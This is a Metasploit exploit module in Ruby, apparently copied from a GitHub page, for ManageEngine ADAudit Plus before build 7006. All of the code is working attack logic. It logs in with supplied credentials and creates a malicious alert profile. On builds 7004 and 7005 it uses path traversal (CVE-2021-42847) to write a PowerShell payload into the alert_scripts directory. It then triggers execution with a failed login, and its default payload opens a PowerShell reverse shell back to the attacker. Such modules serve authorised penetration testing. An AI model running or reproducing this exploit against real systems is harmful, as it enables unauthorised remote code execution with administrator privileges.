607 lines
28 KiB
Ruby
607 lines
28 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'ManageEngine ADAudit Plus Authenticated File Write RCE',
|
|
'Description' => %q{
|
|
This module exploits security issues in ManageEngine ADAudit Plus
|
|
prior to 7006 that allow authenticated users to execute arbitrary
|
|
code by creating a custom alert profile and leveraging its custom
|
|
alert script component.
|
|
|
|
The module first runs a few checks to test the provided
|
|
credentials, retrieve the configured domain(s) and obtain the
|
|
build number of the target ADAudit Plus server.
|
|
|
|
If the credentials are valid and the target is
|
|
vulnerable, the module creates an alert profile that will be
|
|
triggered for any failed login attempt to the configured domain.
|
|
|
|
For versions prior to build 7004, the payload is directly inserted
|
|
in the custom alert script component of the alert profile.
|
|
|
|
For versions 7004 and 7005, the module leverages an arbitrary file
|
|
write vulnerability (CVE-2021-42847) to create a Powershell script
|
|
in the alert_scripts directory that contains the payload. The name
|
|
of this script is then provided as the value for the custom alert
|
|
script component of the alert profile.
|
|
|
|
This module requires valid credentials for an account with the
|
|
privileges to create alert scripts. It has been successfully tested
|
|
against ManageEngine ADAudit Plus builds 7003 and 7005 running on
|
|
Windows Server 2012 R2.
|
|
|
|
Successful exploitation will result in RCE as the user running
|
|
ManageEngine ADAudit Plus, which will typically be the local
|
|
administrator.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Moon', # CVE-2021-42847 discovery
|
|
'Erik Wynter' # @wyntererik - Additional research and Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2021-42847'],
|
|
['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/fix-released-for-a-vulnerability-in-manageengine-adaudit-plus'],
|
|
['URL', 'https://www.manageengine.com/products/active-directory-audit/adaudit-plus-release-notes.html']
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2021-10-01',
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [
|
|
[
|
|
'Windows Command',
|
|
{
|
|
'Type' => :win_cmd,
|
|
'Arch' => ARCH_CMD,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'RPORT' => 8081,
|
|
'WfsDelay' => 5 # triggering the payload may take a bit, let's not be too hasty
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [FIRST_ATTEMPT_FAIL], # This exploit may fail on its first few attempts whilst the remote system is processing alert updates.
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'The base path to ManageEngine ADAudit Plus', '/']),
|
|
OptString.new('AUTH_DOMAIN', [true, 'ADAudit Plus authentication domain (default is ADAuditPlus Authentication)', 'ADAuditPlus Authentication']),
|
|
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
|
|
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']),
|
|
])
|
|
end
|
|
|
|
def auth_domain
|
|
datastore['AUTH_DOMAIN']
|
|
end
|
|
|
|
def username
|
|
datastore['USERNAME']
|
|
end
|
|
|
|
def password
|
|
datastore['PASSWORD']
|
|
end
|
|
|
|
def delete_alert(adapcsrf_cookie)
|
|
print_status("Attempting to delete alert profile #{@alert_name}")
|
|
# let's try and get the the ID of the alert we want to delete
|
|
res_get_alert = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'leftTrees', 'getLeftTreeList'),
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'TAB_ID' => '5', # this cannot be randomized
|
|
'adapcsrf' => adapcsrf_cookie
|
|
}
|
|
})
|
|
|
|
unless res_get_alert
|
|
print_warning("Connection failed when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")
|
|
return
|
|
end
|
|
|
|
unless res_get_alert.code == 200 && !res_get_alert.body.empty?
|
|
print_warning("Received unexpected reply when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")
|
|
return
|
|
end
|
|
|
|
alert_id = res_get_alert.body&.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first
|
|
if alert_id.blank?
|
|
print_warning("Failed to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")
|
|
return
|
|
end
|
|
|
|
# delete the alert
|
|
res_delete_alert = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'delete'),
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'data' => { 'ids' => [alert_id] }.to_json,
|
|
'adapcsrf' => adapcsrf_cookie
|
|
}
|
|
})
|
|
|
|
unless res_delete_alert
|
|
print_warning("Connection failed when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")
|
|
return
|
|
end
|
|
|
|
unless res_delete_alert.code == 200 && res_delete_alert.body&.include?('Successfully deleted the alert profile')
|
|
print_warning("Received unexpected reply when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")
|
|
return
|
|
end
|
|
|
|
print_good("Successfully deleted alert profile #{@alert_name}")
|
|
end
|
|
|
|
def create_alert_profile
|
|
if @exploit_method == 'cve_2021_42847'
|
|
print_status('Attempting to authenticate again in order to retrieve the required cookies.')
|
|
# We have to authenticate again in order to get the required cookie, so reset the cookie cache
|
|
cookie_jar.clear
|
|
login_results = adaudit_plus_login(auth_domain, username, password, true)
|
|
login_msg = login_results['message']
|
|
case login_results['status']
|
|
when adaudit_plus_status::CONNECTION_FAILED
|
|
fail_with(Failure::Unreachable, login_msg)
|
|
when adaudit_plus_status::UNEXPECTED_REPLY
|
|
fail_with(Failure::UnexpectedReply, login_msg)
|
|
when adaudit_plus_status::NO_ACCESS
|
|
fail_with(Failure::NoAccess, login_msg)
|
|
when adaudit_plus_status::SUCCESS
|
|
# just to distinguish it from any other potential statuses this method may return in the future
|
|
else
|
|
# this covers other potential statuses that this method may return in the future
|
|
# note that here the login method should never return adaudit_plus_status::NO_DOMAINS
|
|
# however, if it would do so due to some library change, treating it as an unknown failure makes sense
|
|
fail_with(Failure::Unknown, login_msg)
|
|
end
|
|
|
|
# Code must have been a success related code so we should have
|
|
# an adapcsrf_cookie entry within the login results hash.
|
|
@adapcsrf_cookie = login_results['adapcsrf_cookie']
|
|
end
|
|
|
|
print_status('Attempting to create an alert profile')
|
|
# visit /api/json/jsMessage to see if we're dealing with 7003 or lower
|
|
res_check_7004 = send_request_cgi({
|
|
'uri' => adaudit_api_js_message_uri,
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'vars_post' => { 'adapcsrf' => @adapcsrf_cookie }
|
|
})
|
|
|
|
unless res_check_7004
|
|
fail_with(Failure::Unreachable, 'Connection failed when trying to get the required info via /api/json/jsMessage')
|
|
end
|
|
|
|
unless res_check_7004.code == 200 && res_check_7004.body&.include?('adap_common_script_info')
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected response when trying to get the required info via /api/json/jsMessage')
|
|
end
|
|
|
|
alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\
|
|
'be changed. These constraints have been introduced in the latest build of ADAudit Plus 7004, to enhance security'
|
|
|
|
if res_check_7004.body&.include?(alert_script_7004_msg)
|
|
# we are dealing with 7004 or higher, so exploitation can only succeed if the target is vulnerable to CVE-2021-42847
|
|
unless @exploit_method == 'cve_2021_42847'
|
|
# let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck
|
|
gpo_watcher_status = gpo_watcher_data_check
|
|
if gpo_watcher_status == adaudit_plus_status::SUCCESS
|
|
@exploit_method = 'cve_2021_42847'
|
|
else
|
|
fail_with(Failure::NotVulnerable, 'The target is build 7004 or up and not vulnerable to CVE-2021-42847. Exploitation is not possible.')
|
|
end
|
|
|
|
# here we have to authenticate again in order to get the required adapcsrf cookie
|
|
cookie_jar.clear
|
|
login_results = adaudit_plus_login(auth_domain, username, password, true)
|
|
login_msg = login_results['message']
|
|
case login_results['status']
|
|
when adaudit_plus_status::CONNECTION_FAILED
|
|
fail_with(Failure::Unreachable, login_msg)
|
|
when adaudit_plus_status::UNEXPECTED_REPLY
|
|
fail_with(Failure::UnexpectedReply, login_msg)
|
|
when adaudit_plus_status::NO_ACCESS
|
|
fail_with(Failure::NoAccess, login_msg)
|
|
when adaudit_plus_status::SUCCESS
|
|
# just to distinguish it from any other potential statuses this method may return in the future
|
|
else
|
|
fail_with(Failure::Unknown, login_msg)
|
|
end
|
|
|
|
@adapcsrf_cookie = login_results['adapcsrf_cookie']
|
|
end
|
|
|
|
# We need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name
|
|
# when creating the alert profile. Therefore call the function to create this alert script and save the name of the
|
|
# script location.
|
|
@ps1_script_name = create_alert_script
|
|
end
|
|
|
|
# save the alert profile
|
|
@alert_name, alert_data = alert_profile_info
|
|
res_save_alert = send_request_cgi({
|
|
'uri' => adaudit_api_alertprofiles_save_uri,
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'data' => alert_data,
|
|
'adapcsrf' => @adapcsrf_cookie
|
|
}
|
|
})
|
|
|
|
unless res_save_alert
|
|
fail_with(Failure::Unreachable, "Connection failed when trying to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")
|
|
end
|
|
|
|
unless res_save_alert.code == 200 && res_save_alert.body&.include?('Successfully Saved the Alert Profile')
|
|
print_error("The server sent the following response: #{res_save_alert.body&.strip}")
|
|
@alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil
|
|
fail_with(Failure::UnexpectedReply, "Failed to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")
|
|
end
|
|
|
|
print_good("Successfully created alert profile #{@alert_name}")
|
|
end
|
|
|
|
def alert_profile_info
|
|
script_location = @ps1_script_name || payload.encoded
|
|
|
|
alert_name = rand_text_alphanumeric(8..12)
|
|
alert_data = {
|
|
'alertName' => alert_name,
|
|
'alertDescription' => rand_text_alpha(20..30),
|
|
'alertSeverity' => '1',
|
|
'alertMsg' => '%FORMAT_MESSAGE%',
|
|
'alertIsMailNotify' => false,
|
|
'alertIsSMSNotify' => false,
|
|
'monitorList' => [1],
|
|
'selectedCategory' => 'All',
|
|
'domainName' => @domain,
|
|
'isSave' => true,
|
|
'alertProfileId' => 'new',
|
|
'thresholdBasedAlert' => false,
|
|
'thresholdCount' => rand(5..15),
|
|
'thresholdPeriod' => '=',
|
|
'thresholdInterval' => rand(3..10),
|
|
'thresholdGroupingColumns' => [],
|
|
'throttleBasedAlert' => false,
|
|
'throttleInterval' => rand(30..90),
|
|
'throttleGroupingColumns' => [],
|
|
'userMap' => {},
|
|
'hourBasedAlert' => false,
|
|
'contentType' => 'html',
|
|
'alertMsgNeeded' => true,
|
|
'alertProfileNameNeeded' => true,
|
|
'mailAlertLink' => '',
|
|
'eventDetails' => true,
|
|
'emailMoreRecipients' => '',
|
|
'smsMoreRecipients' => '',
|
|
'scriptLocation' => script_location,
|
|
'alertFilter' => false,
|
|
'criteriaValue' => '-'
|
|
}.to_json
|
|
|
|
# we need to send along the alert name too since we'll need it to delete the alert after it's been created
|
|
[alert_name, alert_data]
|
|
end
|
|
|
|
def create_alert_script
|
|
ps1_script_name = "#{rand_text_alpha_lower(5..10)}.ps1"
|
|
print_status("Attempting to write the payload to /alert_scripts/#{ps1_script_name}")
|
|
|
|
if @domain.blank?
|
|
@domain = "#{rand_text_alpha_lower(5..10)}.local"
|
|
vprint_status("Using domain #{@domain} for the name of the directory we will be creating")
|
|
end
|
|
|
|
gpo_post_data = {
|
|
'DOMAIN_NAME' => @domain,
|
|
'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed
|
|
'htmlReport' => payload.encoded
|
|
}
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => adaudit_plus_gpo_watcher_data_uri,
|
|
'ctype' => 'application/json',
|
|
'data' => generate_gpo_watcher_data_json(gpo_post_data)
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Connection failed')
|
|
end
|
|
|
|
unless res.code == 200 && res.body&.include?('{"success":true}')
|
|
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.')
|
|
end
|
|
|
|
print_good("Successfully wrote the payload to /alert_scripts/#{ps1_script_name} in the ManageEngine ADAudit Plus install directory")
|
|
ps1_script_name
|
|
end
|
|
|
|
def check
|
|
target_check_results = adaudit_plus_target_check
|
|
target_check_msg = target_check_results['message']
|
|
case target_check_results['status']
|
|
when adaudit_plus_status::CONNECTION_FAILED
|
|
return CheckCode::Unknown(target_check_msg)
|
|
when adaudit_plus_status::UNEXPECTED_REPLY
|
|
return CheckCode::Safe(target_check_msg)
|
|
when adaudit_plus_status::SUCCESS
|
|
vprint_status(target_check_msg)
|
|
else
|
|
# this covers cases that may be added in the future
|
|
return CheckCode::Unknown(target_check_msg)
|
|
end
|
|
|
|
target_check_res = target_check_results['server_response']
|
|
|
|
# In order to trigger the final payload in the exploit method, we will need to send an authentication request to
|
|
# ADAudit Plus with incorrect Active Directory credentials if the user didn't provide an Active Directory domain,
|
|
# we can try to extract the FQDN for a configured domain from the server response
|
|
domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res)
|
|
domain_alias_msg = domain_alias_results['message']
|
|
if domain_alias_results['status'] == adaudit_plus_status::NO_DOMAINS
|
|
return CheckCode::Safe(domain_alias_msg)
|
|
end
|
|
|
|
domain_aliases = domain_alias_results['domain_aliases']
|
|
# check if we actually have any configured domain aliases now, otherwise the target isn't exploitable
|
|
if domain_aliases.blank?
|
|
return CheckCode::Safe('Failed to verify if any Active Directory domains are configured on the target.')
|
|
end
|
|
|
|
# if the only configured domain is the default domain, we will not be able to trigger the payload, so
|
|
# stop as there is no point in proceeding
|
|
if domain_aliases == ['ADAuditPlus Authentication']
|
|
return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')
|
|
end
|
|
|
|
# set the domain alias to the first configured domain, unless the user provided an invalid domain
|
|
# in the latter case, the module won't be able to authenticate to the target so there's no point in proceeding
|
|
if auth_domain == 'ADAuditPlus Authentication' || domain_aliases.include?(auth_domain)
|
|
vprint_status(domain_alias_msg)
|
|
@domain_alias = domain_aliases.first
|
|
print_status("Using configured authentication domain alias #{@domain_alias}.")
|
|
else
|
|
# this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed
|
|
print_status(domain_alias_msg)
|
|
return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")
|
|
end
|
|
|
|
print_status("Attempting to authenticate to #{auth_domain} with username: #{username} and password: #{password}")
|
|
login_results = adaudit_plus_login(auth_domain, username, password, false)
|
|
login_msg = login_results['message']
|
|
case login_results['status']
|
|
when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY
|
|
return CheckCode::Unknown(login_msg)
|
|
when adaudit_plus_status::NO_ACCESS, NO_DOMAINS
|
|
# if we cannot authenticate, we can't create an alert profile so exploitation is impossible
|
|
# if no domains are configured, we cannot trigger the payload and therefore exploitation is impossible
|
|
return CheckCode::Safe(login_msg)
|
|
when adaudit_plus_status::SUCCESS
|
|
@domain = login_results['configured_domains'].first
|
|
vprint_status("Using domain #{@domain} for the name of the directory we will be creating")
|
|
end
|
|
|
|
print_good('Successfully authenticated')
|
|
@adapcsrf_cookie = login_results['adapcsrf_cookie']
|
|
|
|
# check the build version to see if we can actually exploit the target
|
|
build_results = adaudit_plus_grab_build(@adapcsrf_cookie)
|
|
build_msg = build_results['message']
|
|
unless build_results['status'] == adaudit_plus_status::SUCCESS
|
|
# if we don't get a valid build number, we don't know what the target is, so we can't proceed
|
|
# however, we can also not say that the target is safe or detected, so we return Unknown
|
|
return CheckCode::Unknown(build_msg)
|
|
end
|
|
|
|
build_version = build_results['build_version']
|
|
|
|
if build_version < Rex::Version.new('7004')
|
|
@exploit_method = 'default'
|
|
CheckCode::Appears("The target is ADAudit Plus #{build_version}")
|
|
# For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists
|
|
elsif build_version < Rex::Version.new('7006')
|
|
gpo_watcher_status = gpo_watcher_data_check
|
|
case gpo_watcher_status
|
|
when adaudit_plus_status::SUCCESS
|
|
@exploit_method = 'cve_2021_42847'
|
|
return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.")
|
|
when adaudit_plus_status::CONNECTION_FAILED
|
|
return CheckCode::Detected("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint")
|
|
when adaudit_plus_status::NO_ACCESS
|
|
return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.")
|
|
end
|
|
else
|
|
CheckCode::Safe("The target is ADAudit Plus #{build_version}")
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if @exploit_method.nil? # this means the user has disabled autocheck so we should try the default exploit method
|
|
@exploit_method = 'default'
|
|
elsif @exploit_method == 'cve_2021_42847' && datastore['PAYLOAD'] =~ /meterpreter/
|
|
print_warning('Exploitation is possible only via CVE-2021-42847. This attack vector may fail in combination with a meterpreter payload.')
|
|
print_warning('If exploitation fails, consider setting the payload back to the default cmd/windows/powershell_reverse_tcp payload')
|
|
end
|
|
|
|
if @adapcsrf_cookie.blank?
|
|
# let's clear the cookie jar and try to authenticate
|
|
cookie_jar.clear
|
|
print_status("Attempting to authenticate to #{@domain_alias} with username: #{username} and password: #{password}")
|
|
login_results = adaudit_plus_login(auth_domain, username, password, false)
|
|
login_msg = login_results['message']
|
|
case login_results['status']
|
|
when adaudit_plus_status::CONNECTION_FAILED
|
|
fail_with(Failure::Unreachable, login_msg)
|
|
when adaudit_plus_status::UNEXPECTED_REPLY
|
|
fail_with(Failure::UnexpectedReply, login_msg)
|
|
when adaudit_plus_status::NO_ACCESS
|
|
fail_with(Failure::NoAccess, login_msg)
|
|
when adaudit_plus_status::NO_DOMAINS
|
|
fail_with(Failure::NotVulnerable, login_msg)
|
|
when adaudit_plus_status::SUCCESS
|
|
@domain = login_results['configured_domains'].first
|
|
vprint_status("Using domain #{@domain} for the name of the directory we will be creating")
|
|
else
|
|
# this covers other potential statuses that may be added in the future
|
|
fail_with(Failure::Unknown, login_msg)
|
|
end
|
|
|
|
print_good('Successfully authenticated')
|
|
@adapcsrf_cookie = login_results['adapcsrf_cookie']
|
|
end
|
|
|
|
# let's create the alert profile
|
|
create_alert_profile
|
|
|
|
# time to trigger the payload
|
|
if @domain_alias.nil?
|
|
# this means check didn't run, so we need to obtain the configured Active Directory domains
|
|
target_check_results = adaudit_plus_target_check
|
|
target_check_status = target_check_results['status']
|
|
target_check_msg = target_check_results['message']
|
|
unless target_check_status == adaudit_plus_status::SUCCESS
|
|
print_error('Failed to obtain the configured Active Directory domain aliases')
|
|
case target_check_status
|
|
when adaudit_plus_status::CONNECTION_FAILED
|
|
fail_with(Failure::Unreachable, target_check_msg)
|
|
when adaudit_plus_status::UNEXPECTED_REPLY
|
|
fail_with(Failure::UnexpectedReply, target_check_msg)
|
|
else
|
|
# this covers other potential statuses that this method may return in the future
|
|
fail_with(Failure::Unknown, target_check_msg)
|
|
end
|
|
end
|
|
|
|
target_check_res = target_check_results['server_response']
|
|
fail_with(Failure::UnexpectedReply, 'No body in the server response when performing a target version check!') if target_check_res.body.blank?
|
|
|
|
# In order to trigger the final payload in the exploit method, we will need to send an authentication request to
|
|
# ADAudit Plus with incorrect Active Directory credentials. If the user didn't provide an Active Directory domain,
|
|
# we can try to extract the FQDN for a configured domain from the server response.
|
|
domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body)
|
|
domain_alias_msg = domain_alias_results['message']
|
|
case domain_alias_results['status']
|
|
when adaudit_plus_status::NO_DOMAINS
|
|
fail_with(Failure::NotVulnerable, domain_alias_msg)
|
|
when adaudit_plus_status::SUCCESS
|
|
# make sure we actually have a domain alias, otherwise the target is not vulnerable
|
|
if domain_alias_results['domain_aliases'].blank?
|
|
fail_with(Failure::NotVulnerable, 'Failed to verify if any Active Directory domains are configured on the target.')
|
|
end
|
|
else
|
|
fail_with(Failure::Unknown, domain_alias_msg)
|
|
end
|
|
|
|
domain_aliases = domain_alias_results['domain_aliases']
|
|
# if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed
|
|
if domain_aliases == ['ADAuditPlus Authentication']
|
|
fail_with(Failure::NoTarget, 'No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')
|
|
end
|
|
|
|
# set the domain alias to the first configured domain, unless the user provided an invalid domain
|
|
# in the latter case, the module won't be able to authenticate to the target so there's no point to proceed
|
|
if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain)
|
|
vprint_status(domain_alias_msg)
|
|
@domain_alias = domain_aliases.first
|
|
print_status("Using configured authentication domain alias #{@domain_alias}.")
|
|
else
|
|
# this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed
|
|
print_status(domain_alias_msg)
|
|
fail_with(Failure::BadConfig, "The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")
|
|
end
|
|
end
|
|
|
|
print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.")
|
|
login_results = adaudit_plus_login(@domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12), true)
|
|
login_msg = login_results['message']
|
|
manual_trigger_msg = "You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain."
|
|
case login_results['status']
|
|
when adaudit_plus_status::CONNECTION_FAILED
|
|
fail_with(Failure::Unreachable, "#{login_msg} #{manual_trigger_msg}")
|
|
when adaudit_plus_status::UNEXPECTED_REPLY
|
|
fail_with(Failure::UnexpectedReply, "#{login_msg} #{manual_trigger_msg}")
|
|
when adaudit_plus_status::NO_ACCESS
|
|
print_status("Received expected reply when trying to trigger the payload. Let's hope we get a shell...")
|
|
when adaudit_plus_status::SUCCESS
|
|
fail_with(Failure::Unknown, "Somehow authentication succeeded, which means the payload was not triggered. #{manual_trigger_msg}")
|
|
else
|
|
print_warning('Received unknown error code when trying to trigger the payload. The module will continue but exploitation will likely fail.')
|
|
end
|
|
|
|
@pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session
|
|
end
|
|
|
|
def cleanup
|
|
return unless @alert_name # this should only run if we actually created an alert
|
|
|
|
if @pwned == 0
|
|
print_error('Failed to obtain a shell. You could try increasing the WfsDelay value')
|
|
end
|
|
cookie_jar.clear
|
|
login_results = adaudit_plus_login(auth_domain, username, password, true)
|
|
case login_results['status']
|
|
when adaudit_plus_status::SUCCESS
|
|
delete_alert(login_results['adapcsrf_cookie'])
|
|
when adaudit_plus_status::CONNECTION_FAILED
|
|
print_warning('Connection failed when trying to authenticate in order to perform cleanup. Manual cleanup required.')
|
|
when adaudit_plus_status::UNEXPECTED_REPLY
|
|
print_warning('Received unexpected reply when trying to authenticate in order to perform cleanup. Manual cleanup required.')
|
|
when adaudit_plus_status::NO_ACCESS
|
|
print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.')
|
|
else
|
|
# this covers other potential statuses that this method may return in the future
|
|
# note that here the login method should never return adaudit_plus_status::NO_DOMAINS
|
|
# however, if it would do so due to some library change, treating it as unexpected reply makes sense
|
|
print_warning('Received unknown error code when trying to authenticate in order to perform cleanup. Manual cleanup required.')
|
|
end
|
|
end
|
|
|
|
def on_new_session(cli)
|
|
@pwned += 1
|
|
# if we wrote a PowerShell script to /alert_scripts, remind the user to delete it
|
|
# we may get two shells, so let's not repeat ourselves
|
|
if @pwned == 1
|
|
# I noticed the the meterpreter payloads wouldn't always load stdapi and/or priv automatically
|
|
# but when loading them manually, they worked it fine
|
|
if datastore['PAYLOAD'] =~ /meterpreter/ # I tried using cli.type == 'meterpreter' but that broke the module for some reason
|
|
print_warning("If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'")
|
|
end
|
|
|
|
if @ps1_script_name
|
|
# meterpreter payloads seem incompatible with CVE-2021-42847, so it's very unlikely we'll ever be able to automatically remove the ps1 script
|
|
print_warning("Make sure to manually cleanup the #{@ps1_script_name} file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory")
|
|
end
|
|
end
|
|
super
|
|
end
|
|
end
|